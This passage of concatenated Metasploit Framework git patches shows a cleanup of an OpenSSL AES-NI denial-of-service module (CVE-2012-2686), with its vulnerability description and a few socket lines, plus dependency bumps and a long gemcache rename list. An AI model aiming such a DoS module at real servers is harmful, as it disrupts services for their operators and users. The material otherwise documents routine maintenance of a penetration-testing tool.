'start.sh')) + system(start_cmd) if ::File.executable_real? start_cmd + end end end From 781132b1cfe6ee08d13549a7f80bcdb03d5ea1c1 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 5 Mar 2013 22:41:16 +0100 Subject: [PATCH 302/341] cleanup for openssl_aesni --- modules/auxiliary/dos/ssl/openssl_aesni.rb | 21 ++++++++++++--------- 1 file changed, 12 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/dos/ssl/openssl_aesni.rb b/modules/auxiliary/dos/ssl/openssl_aesni.rb index 94ba11e470..f118a88abb 100644 --- a/modules/auxiliary/dos/ssl/openssl_aesni.rb +++ b/modules/auxiliary/dos/ssl/openssl_aesni.rb @@ -9,15 +9,18 @@ class Metasploit4 < Msf::Auxiliary super(update_info(info, 'Name' => 'OpenSSL TLS 1.1 and 1.2 AES-NI DoS', 'Description' => %q{ - The AES-NI implementation of OpenSSL 1.0.1c does not - properly compute the length of an encrypte message when used - with a TLS version 1.1 or above. This leads to an integer - underflow which can cause a DoS. + The AES-NI implementation of OpenSSL 1.0.1c does not properly compute the + length of an encrypted message when used with a TLS version 1.1 or above. This + leads to an integer underflow which can cause a DoS. The vulnerable function + aesni_cbc_hmac_sha1_cipher is only included in the 64 bits versions of OpenSSL. + This module has been tested successfully on Ubuntu 12.04 (64 bits) with the default + OpenSSL 1.0.1c package. }, - 'Author' => [ - 'Wolfgang Ettlinger ' - ], - 'License' => BSD_LICENSE, + 'Author' => + [ + 'Wolfgang Ettlinger ' + ], + 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2012-2686'], @@ -138,7 +141,7 @@ class Metasploit4 < Msf::Auxiliary connect sock.put(p1) - resp = sock.recv(4096) + resp = sock.get_once cs = get_cipher_suite(resp) From 36e20807b04c0a701a0d984fa40e97541a9250a5 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Wed, 6 Mar 2013 09:53:26 -0600 Subject: [PATCH 303/341] Update Gemfile to metaploit_data_models 0.6.0 [#44034071] --- Gemfile | 2 +- Gemfile.lock | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/Gemfile b/Gemfile index 9513b0a497..251808c2a5 100755 --- a/Gemfile +++ b/Gemfile @@ -7,7 +7,7 @@ gem 'activerecord' # Needed for some admin modules (scrutinizer_add_user.rb) gem 'json' # Database models shared between framework and Pro. -gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.5.1' +gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.6.0' # Needed by msfgui and other rpc components gem 'msgpack' # Needed by anemone crawler diff --git a/Gemfile.lock b/Gemfile.lock index 983117cbb4..c16a1cca2f 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,9 +1,9 @@ GIT remote: git://github.com/rapid7/metasploit_data_models.git - revision: 1e3e0c2effb8e1bb6cec9683b830e4244babf706 - tag: 0.5.1 + revision: 0285d6e199f125b33214100dcb0f4eeb12ee765f + tag: 0.6.0 specs: - metasploit_data_models (0.5.1) + metasploit_data_models (0.6.0) activerecord (>= 3.2.10) activesupport pg @@ -55,7 +55,7 @@ GEM simplecov-html (~> 0.5.3) simplecov-html (0.5.3) slop (3.4.3) - tzinfo (0.3.35) + tzinfo (0.3.36) yard (0.8.3) PLATFORMS From fac941aae479c2795fd7dfec949d8e51765d4774 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Wed, 6 Mar 2013 09:59:09 -0600 Subject: [PATCH 304/341] Update gemcache with metasploit_data_models 0.6.0 [#44034071] --- .../metasploit_data_models-0.5.1/Rakefile | 20 -- .../base64_serializer.rb | 35 ---- .../lib/metasploit_data_models/engine.rb | 7 - .../spec/lib/base64_serializer_spec.rb | 22 --- .../.gitignore | 0 .../.rspec | 0 .../.simplecov | 0 .../.yardopts | 0 .../Gemfile | 3 + .../LICENSE | 0 .../README.md | 0 .../metasploit_data_models-0.6.0/Rakefile | 34 ++++ .../app/models/mdm/api_key.rb | 0 .../app/models/mdm/client.rb | 0 .../app/models/mdm/cred.rb | 0 .../app/models/mdm/event.rb | 0 .../app/models/mdm/exploit_attempt.rb | 0 .../app/models/mdm/exploited_host.rb | 0 .../app/models/mdm/host.rb | 0 .../app/models/mdm/host_detail.rb | 0 .../app/models/mdm/host_tag.rb | 0 .../app/models/mdm/imported_cred.rb | 0 .../app/models/mdm/listener.rb | 0 .../app/models/mdm/loot.rb | 0 .../app/models/mdm/macro.rb | 0 .../app/models/mdm/mod_ref.rb | 0 .../app/models/mdm/module_action.rb | 0 .../app/models/mdm/module_arch.rb | 0 .../app/models/mdm/module_author.rb | 0 .../app/models/mdm/module_detail.rb | 0 .../app/models/mdm/module_mixin.rb | 0 .../app/models/mdm/module_platform.rb | 0 .../app/models/mdm/module_ref.rb | 0 .../app/models/mdm/module_target.rb | 0 .../app/models/mdm/nexpose_console.rb | 0 .../app/models/mdm/note.rb | 0 .../app/models/mdm/profile.rb | 0 .../app/models/mdm/ref.rb | 0 .../app/models/mdm/report.rb | 0 .../app/models/mdm/report_template.rb | 0 .../app/models/mdm/route.rb | 0 .../app/models/mdm/service.rb | 0 .../app/models/mdm/session.rb | 0 .../app/models/mdm/session_event.rb | 0 .../app/models/mdm/tag.rb | 0 .../app/models/mdm/task.rb | 0 .../app/models/mdm/user.rb | 7 - .../app/models/mdm/vuln.rb | 0 .../app/models/mdm/vuln_attempt.rb | 0 .../app/models/mdm/vuln_detail.rb | 0 .../app/models/mdm/vuln_ref.rb | 0 .../app/models/mdm/web_form.rb | 0 .../app/models/mdm/web_page.rb | 0 .../app/models/mdm/web_site.rb | 0 .../app/models/mdm/web_vuln.rb | 55 +++++- .../app/models/mdm/wmap_request.rb | 0 .../app/models/mdm/wmap_target.rb | 0 .../app/models/mdm/workspace.rb | 0 .../bin/mdm_console | 0 .../console_db.yml | 0 .../db/migrate/000_create_tables.rb | 0 .../db/migrate/001_add_wmap_tables.rb | 0 .../db/migrate/002_add_workspaces.rb | 0 .../db/migrate/003_move_notes.rb | 0 .../db/migrate/004_add_events_table.rb | 0 .../db/migrate/005_expand_info.rb | 0 .../db/migrate/006_add_timestamps.rb | 0 .../db/migrate/007_add_loots.rb | 0 .../db/migrate/008_create_users.rb | 0 .../db/migrate/009_add_loots_ctype.rb | 0 .../db/migrate/010_add_alert_fields.rb | 0 .../db/migrate/011_add_reports.rb | 0 .../db/migrate/012_add_tasks.rb | 0 .../db/migrate/013_add_tasks_result.rb | 0 .../db/migrate/014_add_loots_fields.rb | 0 .../db/migrate/015_rename_user.rb | 0 .../db/migrate/016_add_host_purpose.rb | 0 .../db/migrate/017_expand_info2.rb | 0 .../db/migrate/018_add_workspace_user_info.rb | 0 .../db/migrate/019_add_workspace_desc.rb | 0 .../db/migrate/020_add_user_preferences.rb | 0 .../migrate/021_standardize_info_and_data.rb | 0 .../db/migrate/022_enlarge_event_info.rb | 0 .../migrate/023_add_report_downloaded_at.rb | 0 .../024_convert_service_info_to_text.rb | 0 .../db/migrate/025_add_user_admin.rb | 0 .../db/migrate/026_add_creds_table.rb | 0 .../20100819123300_migrate_cred_data.rb | 0 .../20100824151500_add_exploited_table.rb | 0 .../20100908001428_add_owner_to_workspaces.rb | 0 .../20100911122000_add_report_templates.rb | 0 .../20100916151530_require_admin_flag.rb | 0 ...00916175000_add_campaigns_and_templates.rb | 0 .../20100920012100_add_generate_exe_column.rb | 0 .../20100926214000_add_template_prefs.rb | 0 .../migrate/20101001000000_add_web_tables.rb | 0 .../db/migrate/20101002000000_add_query.rb | 0 .../migrate/20101007000000_add_vuln_info.rb | 0 ...20101008111800_add_clients_to_campaigns.rb | 0 ...20101009023300_add_campaign_attachments.rb | 0 .../20101104135100_add_imported_creds.rb | 0 .../migrate/20101203000000_fix_web_tables.rb | 0 .../20101203000001_expand_host_comment.rb | 0 ...2033_add_limit_to_network_to_workspaces.rb | 0 ...20110112154300_add_module_uuid_to_tasks.rb | 0 .../migrate/20110204112800_add_host_tags.rb | 0 .../20110317144932_add_session_table.rb | 0 ...414180600_add_local_id_to_session_table.rb | 0 .../20110415175705_add_routes_table.rb | 0 .../migrate/20110422000000_convert_binary.rb | 0 ...0110425095900_add_last_seen_to_sessions.rb | 0 ...0110513143900_track_successful_exploits.rb | 0 ...517160800_rename_and_prune_nessus_vulns.rb | 0 ...0527000000_add_task_id_to_reports_table.rb | 0 .../20110527000001_add_api_keys_table.rb | 0 .../20110606000001_add_macros_table.rb | 0 ...10622000000_add_settings_to_tasks_table.rb | 0 .../20110624000001_add_listeners_table.rb | 0 ...0625000001_add_macro_to_listeners_table.rb | 0 ...110630000001_add_nexpose_consoles_table.rb | 0 ...0002_add_name_to_nexpose_consoles_table.rb | 0 .../20110717000001_add_profiles_table.rb | 0 ...20110727163801_expand_cred_ptype_column.rb | 0 .../20110730000001_add_initial_indexes.rb | 0 .../migrate/20110812000001_prune_indexes.rb | 0 .../db/migrate/20110922000000_expand_notes.rb | 0 .../20110928101300_add_mod_ref_table.rb | 0 ...10000_add_display_name_to_reports_table.rb | 0 .../db/migrate/20111203000000_inet_columns.rb | 0 .../20111204000000_more_inet_columns.rb | 0 .../20111210000000_add_scope_to_hosts.rb | 0 ...0120126110000_add_virtual_host_to_hosts.rb | 0 ...20120411173220_rename_workspace_members.rb | 0 ...20601152442_add_counter_caches_to_hosts.rb | 0 .../20120625000000_add_vuln_details.rb | 0 .../20120625000001_add_host_details.rb | 0 .../migrate/20120625000002_expand_details.rb | 0 .../migrate/20120625000003_expand_details2.rb | 0 .../20120625000004_add_vuln_attempts.rb | 0 ...000005_add_vuln_and_host_counter_caches.rb | 0 .../20120625000006_add_module_details.rb | 0 .../20120625000007_add_exploit_attempts.rb | 0 .../20120625000008_add_fail_message.rb | 0 ...2805_add_owner_and_payload_to_web_vulns.rb | 0 ...ired_columns_to_null_false_in_web_vulns.rb | 0 .../lib/mdm.rb | 0 .../host/operating_system_normalization.rb | 0 .../lib/metasploit_data_models.rb | 0 .../base64_serializer.rb | 103 +++++++++++ .../lib/metasploit_data_models/engine.rb | 14 ++ .../serialized_prefs.rb | 0 .../validators/ip_format_validator.rb | 0 .../password_is_strong_validator.rb | 0 .../lib/metasploit_data_models/version.rb | 2 +- .../lib/tasks/yard.rake | 0 .../metasploit_data_models.gemspec | 0 .../script/rails | 0 .../spec/app/models/mdm/web_vuln_spec.rb | 41 ++++- .../spec/dummy/Rakefile | 0 .../app/assets/javascripts/application.js | 0 .../app/assets/stylesheets/application.css | 0 .../app/controllers/application_controller.rb | 0 .../dummy/app/helpers/application_helper.rb | 0 .../spec/dummy/app/mailers/.gitkeep | 0 .../spec/dummy/app/models/.gitkeep | 0 .../app/views/layouts/application.html.erb | 0 .../spec/dummy/config.ru | 0 .../spec/dummy/config/application.rb | 0 .../spec/dummy/config/boot.rb | 0 .../spec/dummy/config/database.yml.example | 0 .../spec/dummy/config/environment.rb | 0 .../dummy/config/environments/development.rb | 0 .../dummy/config/environments/production.rb | 0 .../spec/dummy/config/environments/test.rb | 0 .../initializers/backtrace_silencers.rb | 0 .../dummy/config/initializers/inflections.rb | 0 .../dummy/config/initializers/mime_types.rb | 0 .../dummy/config/initializers/secret_token.rb | 0 .../config/initializers/session_store.rb | 0 .../config/initializers/wrap_parameters.rb | 0 .../spec/dummy/config/routes.rb | 0 .../spec/dummy/db/schema.rb | 0 .../spec/dummy/lib/assets/.gitkeep | 0 .../spec/dummy/log/.gitkeep | 0 .../spec/dummy/public/404.html | 0 .../spec/dummy/public/422.html | 0 .../spec/dummy/public/500.html | 0 .../spec/dummy/public/favicon.ico | 0 .../spec/dummy/script/rails | 0 .../spec/factories/mdm/addresses.rb | 7 + .../spec/factories/mdm/hosts.rb | 18 ++ .../spec/factories/mdm/services.rb | 35 ++++ .../spec/factories/mdm/users.rb | 22 +++ .../spec/factories/mdm/web_sites.rb | 8 + .../spec/factories/mdm/web_vulns.rb | 64 +++++++ .../spec/factories/mdm/workspaces.rb | 23 +++ .../spec/lib/base64_serializer_spec.rb | 174 ++++++++++++++++++ .../spec/spec_helper.rb | 9 + ...c => metasploit_data_models-0.6.0.gemspec} | 4 +- 199 files changed, 608 insertions(+), 99 deletions(-) delete mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/Rakefile delete mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/base64_serializer.rb delete mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/engine.rb delete mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/lib/base64_serializer_spec.rb rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/.gitignore (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/.rspec (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/.simplecov (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/.yardopts (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/Gemfile (79%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/LICENSE (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/README.md (100%) create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Rakefile rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/api_key.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/client.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/cred.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/event.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/exploit_attempt.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/exploited_host.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/host.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/host_detail.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/host_tag.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/imported_cred.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/listener.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/loot.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/macro.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/mod_ref.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/module_action.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/module_arch.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/module_author.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/module_detail.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/module_mixin.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/module_platform.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/module_ref.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/module_target.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/nexpose_console.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/note.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/profile.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/ref.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/report.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/report_template.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/route.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/service.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/session.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/session_event.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/tag.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/task.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/user.rb (87%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/vuln.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/vuln_attempt.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/vuln_detail.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/vuln_ref.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/web_form.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/web_page.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/web_site.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/web_vuln.rb (72%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/wmap_request.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/wmap_target.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/app/models/mdm/workspace.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/bin/mdm_console (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/console_db.yml (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/000_create_tables.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/001_add_wmap_tables.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/002_add_workspaces.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/003_move_notes.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/004_add_events_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/005_expand_info.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/006_add_timestamps.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/007_add_loots.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/008_create_users.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/009_add_loots_ctype.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/010_add_alert_fields.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/011_add_reports.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/012_add_tasks.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/013_add_tasks_result.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/014_add_loots_fields.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/015_rename_user.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/016_add_host_purpose.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/017_expand_info2.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/018_add_workspace_user_info.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/019_add_workspace_desc.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/020_add_user_preferences.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/021_standardize_info_and_data.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/022_enlarge_event_info.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/023_add_report_downloaded_at.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/024_convert_service_info_to_text.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/025_add_user_admin.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/026_add_creds_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20100819123300_migrate_cred_data.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20100824151500_add_exploited_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20100908001428_add_owner_to_workspaces.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20100911122000_add_report_templates.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20100916151530_require_admin_flag.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20100916175000_add_campaigns_and_templates.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20100920012100_add_generate_exe_column.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20100926214000_add_template_prefs.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20101001000000_add_web_tables.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20101002000000_add_query.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20101007000000_add_vuln_info.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20101008111800_add_clients_to_campaigns.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20101009023300_add_campaign_attachments.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20101104135100_add_imported_creds.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20101203000000_fix_web_tables.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20101203000001_expand_host_comment.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20101206212033_add_limit_to_network_to_workspaces.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110112154300_add_module_uuid_to_tasks.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110204112800_add_host_tags.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110317144932_add_session_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110414180600_add_local_id_to_session_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110415175705_add_routes_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110422000000_convert_binary.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110425095900_add_last_seen_to_sessions.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110513143900_track_successful_exploits.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110517160800_rename_and_prune_nessus_vulns.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110527000000_add_task_id_to_reports_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110527000001_add_api_keys_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110606000001_add_macros_table.rb (100%) rename 